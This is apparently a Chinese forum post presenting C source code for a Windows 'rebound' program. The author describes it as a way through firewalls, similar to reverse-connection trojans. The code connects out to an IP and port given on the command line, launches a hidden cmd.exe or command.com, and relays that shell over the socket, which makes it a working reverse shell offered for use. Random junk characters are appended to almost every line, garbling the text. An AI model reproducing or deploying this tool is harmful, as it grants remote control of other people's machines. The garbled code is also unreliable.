这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Z=y^9]
*egAx
/* ============================== :~B'6b
Rebound port in Windows NT \t+q1S1
By wind,2006/7 |p
@,]cz
===============================*/ m;m4/z3U
#include o3xfif
#include P:tl)ob
bPo*L~xdk
#pragma comment(lib,"wsock32.lib") 5:
O,-b&
6ZwFU5)QE/
void OutputShell(); ${w\^6&
SOCKET sClient; rQ$Jk[Y
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; zoO9N oUHW
~riV9_-
void main(int argc,char **argv) 2:D1<z6RQ
{ b}5hqIy
WSADATA stWsaData; *XSHzoT*
int nRet; bhc
.UmH
SOCKADDR_IN stSaiClient,stSaiServer; "T'?Ah6
'X1fb:8m8
if(argc != 3) {;Ispx0m
{ SBqx_4}
printf("Useage:\n\rRebound DestIP DestPort\n"); *<T,Fyc|
return; \`,,r_tO
} 'UL"yM
@qWes@
WSAStartup(MAKEWORD(2,2),&stWsaData); |h75S.UY
xDTDfhA
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); .~fAcc{Qj
VS_xC$X!S
stSaiClient.sin_family = AF_INET; R'{BkC}.
stSaiClient.sin_port = htons(0); (vqI@fB';u
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ~pj/_@S@x
OBJk\j+Wi
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) a]u1_ $)
{ vW:XM0
printf("Bind Socket Failed!\n"); b|z_1j6U
return; dr8`;$;G*
} ILq"/S.
~i)IY1m"
stSaiServer.sin_family = AF_INET; =lqBRut
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); *Mr?}_,X*
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); wa}\bNKQk
YQk<1./}I
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) SUQk0 (M
{ >"q~9b
A
printf("Connect Error!"); :D !}jN/)
return; 7L\kna<
} M,nLPHgK
OutputShell(); X6lR?6u%|
} <xWBS/K
CUo %i/R
void OutputShell() 9x0Ao*D<t
{ _LUTIqlvi
char szBuff[1024]; G~;hD-D~.
SECURITY_ATTRIBUTES stSecurityAttributes; L?gak@E
OSVERSIONINFO stOsversionInfo; /\&Wk;u3
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; (0/)vZc
STARTUPINFO stStartupInfo; drZ1D s
char *szShell; V`MV_zA2
PROCESS_INFORMATION stProcessInformation; 9e:}qO5)
unsigned long lBytesRead; }R -azN;
Q #%C)7)
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); MGzuQrl{H
(o5+9'y"9
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); h#iFp9N
stSecurityAttributes.lpSecurityDescriptor = 0; $5;RQNhXh
stSecurityAttributes.bInheritHandle = TRUE; 0Zv<]xO
^7l^/GSO
&\0V*5tI
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); [rt+KA
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); =Nj58 l
8+7=yN(
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ve|`I=?2
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; H _%yh,L
stStartupInfo.wShowWindow = SW_HIDE; VD*xhuy$k
stStartupInfo.hStdInput = hReadPipe; ?NL>xMA
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ix=H=U]Q{
(YJ]}J^
GetVersionEx(&stOsversionInfo); ORo +=2
5wws8w
switch(stOsversionInfo.dwPlatformId) ;f8$vW];
{
`xpU
case 1: nxc35
szShell = "command.com"; ^Q\O8f[u
break; "?~u*5
default: :RnFRAcr
szShell = "cmd.exe"; ped3}i+|]
break; K&WNtk3hT
} !hJ%
:^ xL
%hu] =
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); S2jO
,^_aqH
send(sClient,szMsg,77,0); p|D-ez8
while(1) 6jIW)C
{ = yH#Iil
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); G'>z~I]6S
if(lBytesRead) ){.J`X5r
{
IiV#V
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); (HUGgX"=
send(sClient,szBuff,lBytesRead,0); Tmo+I4qoL
} 2_4m}T3
else &x(^=sTHI
{ ]qJ6#sAw75
lBytesRead=recv(sClient,szBuff,1024,0); sH>Z{xjr
if(lBytesRead<=0) break; /Nh:O
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 3ee?B~Tun
} Q\DD^Pbq
} y!9facg
m_7)r
return; A~!3svJW
}